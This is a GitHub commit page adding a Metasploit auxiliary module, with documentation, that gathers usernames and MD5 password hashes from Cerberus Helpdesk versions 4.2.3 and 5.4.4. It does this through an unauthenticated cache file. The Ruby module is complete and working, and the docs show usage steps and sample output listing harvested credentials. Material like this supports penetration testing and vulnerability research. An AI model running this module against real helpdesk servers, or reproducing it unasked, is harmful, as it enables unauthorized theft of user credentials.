Skip to content

Commit 3d4d03c

Browse files
committed
Land rapid7#8575, Cerberus Helpdesk hash disclosure
2 parents 1cbc4af + 71b2dda commit 3d4d03c

File tree

2 files changed

+169
-0
lines changed

2 files changed

+169
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
## Description
2+
3+
This module opens a `devblocks_cache---ch_workers` or `zend_cache---ch_workers` file which contains a
4+
data structure with username and password hash (MD5) credentials. The contents looks similar to JSON, however it is not.
5+
6+
## Vulnerable Application
7+
8+
This module has been verified against the following Cerberus Helpdesk versions:
9+
10+
1. Version 4.2.3 Stable (Build 925)
11+
2. Version 5.4.4
12+
13+
However it may also work up to, but not including, version 6.7
14+
15+
Version 5.4.4 is available on [exploit-db.com](https://www.exploit-db.com/apps/882596e791e54529b29ecbc6f48a6cb7-cerb5-5_4_4.zip)
16+
17+
* of note, 5.4.4 has to be installed on a PRE php7 environment.
18+
19+
## Verification Steps
20+
21+
1. Start msfconsole
22+
2. ```use auxiliary/gather/cerberus_helpdesk_hash_disclosure```
23+
3. ```set rhosts [rhosts]```
24+
4. ```run```
25+
26+
## Scenarios
27+
28+
### 4.2.3 using zend (not verbose)
29+
30+
```
31+
msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
32+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 1.1.1.1
33+
rhosts => 1.1.1.1
34+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
35+
36+
[-] Invalid response received for 1.1.1.1 for /storage/tmp/devblocks_cache---ch_workers
37+
[+] Found: admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
38+
[+] Found: example:112302c209fe8d73f502c132a3da2b1c
39+
[+] Found: foobar:0d108d09e5bbe40aade3de5c81e9e9c7
40+
41+
Cerberus Helpdesk User Credentials
42+
==================================
43+
44+
Username Password Hash
45+
-------- -------------
46+
admin aaa34a6111abf0bd1b1c4d7cd7ebb37b
47+
example 112302c209fe8d73f502c132a3da2b1c
48+
foobar 0d108d09e5bbe40aade3de5c81e9e9c7
49+
50+
[*] Scanned 1 of 1 hosts (100% complete)
51+
[*] Auxiliary module execution completed
52+
```
53+
54+
### 5.4.4 using devblocks
55+
56+
```
57+
msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
58+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 192.168.2.45
59+
rhosts => 192.168.2.45
60+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set targeturi /cerb5/
61+
targeturi => /cerb5/
62+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > set verbose true
63+
verbose => true
64+
msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
65+
66+
[*] Attempting to load data from /cerb5/storage/tmp/devblocks_cache---ch_workers
67+
[+] Found: [email protected]:37b51d194a7513e45b56f6524f2d51f2
68+
[+] Found: [email protected]:acbd18db4cc2f85cedef654fccc4a4d8
69+
[+] Found: [email protected]:18126e7bd3f84b3f3e4df094def5b7de
70+
71+
Cerberus Helpdesk User Credentials
72+
==================================
73+
74+
Username Password Hash
75+
-------- -------------
76+
[email protected] 37b51d194a7513e45b56f6524f2d51f2
77+
[email protected] acbd18db4cc2f85cedef654fccc4a4d8
78+
[email protected] 18126e7bd3f84b3f3e4df094def5b7de
79+
80+
[*] Scanned 1 of 1 hosts (100% complete)
81+
[*] Auxiliary module execution completed
82+
```
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::Report
11+
12+
def initialize
13+
super(
14+
'Name' => 'Cerberus Helpdesk User Hash Disclosure',
15+
'Description' => %q{
16+
This module extracts usernames and password hashes from the Cerberus Helpdesk
17+
through an unauthenticated access to a workers file.
18+
Verified on Version 4.2.3 Stable (Build 925) and 5.4.4
19+
},
20+
'References' =>
21+
[
22+
[ 'EDB', '39526' ]
23+
],
24+
'Author' =>
25+
[
26+
'asdizzle_', # discovery
27+
'h00die', # module
28+
],
29+
'License' => MSF_LICENSE,
30+
'DisclosureDate' => 'Mar 7 2016'
31+
)
32+
33+
register_options(
34+
[
35+
OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/'])
36+
])
37+
end
38+
39+
def run_host(rhost)
40+
begin
41+
['devblocks', 'zend'].each do |site|
42+
url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers")
43+
vprint_status("Attempting to load data from #{url}")
44+
res = send_request_cgi({'uri' => url})
45+
if !res
46+
print_error("#{peer} Unable to connect to #{url}")
47+
next
48+
end
49+
50+
if !res.body.include?('pass')
51+
print_error("Invalid response received for #{peer} for #{url}")
52+
next
53+
end
54+
55+
cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials',
56+
'Indent' => 1,
57+
'Columns' => ['Username', 'Password Hash']
58+
59+
# the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
60+
# this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
61+
result = res.body.split('s:5')
62+
result.each do |cred|
63+
if cred.include?('email')
64+
cred = cred.split(':')
65+
username = cred[3].tr('";', '') # remove extra characters
66+
username = username[0...-1] # also remove trailing s
67+
password_hash = cred[7].tr('";', '') # remove extra characters
68+
print_good("Found: #{username}:#{password_hash}")
69+
store_valid_credential(
70+
user: username,
71+
private: password_hash,
72+
private_type: :nonreplayable_hash
73+
)
74+
cred_table << [username, password_hash]
75+
end
76+
end
77+
print_line
78+
print_line cred_table.to_s
79+
break
80+
end
81+
82+
rescue ::Rex::ConnectionError
83+
print_error("#{peer} Unable to connect to site")
84+
return
85+
end
86+
end
87+
end

0 commit comments

Comments
 (0)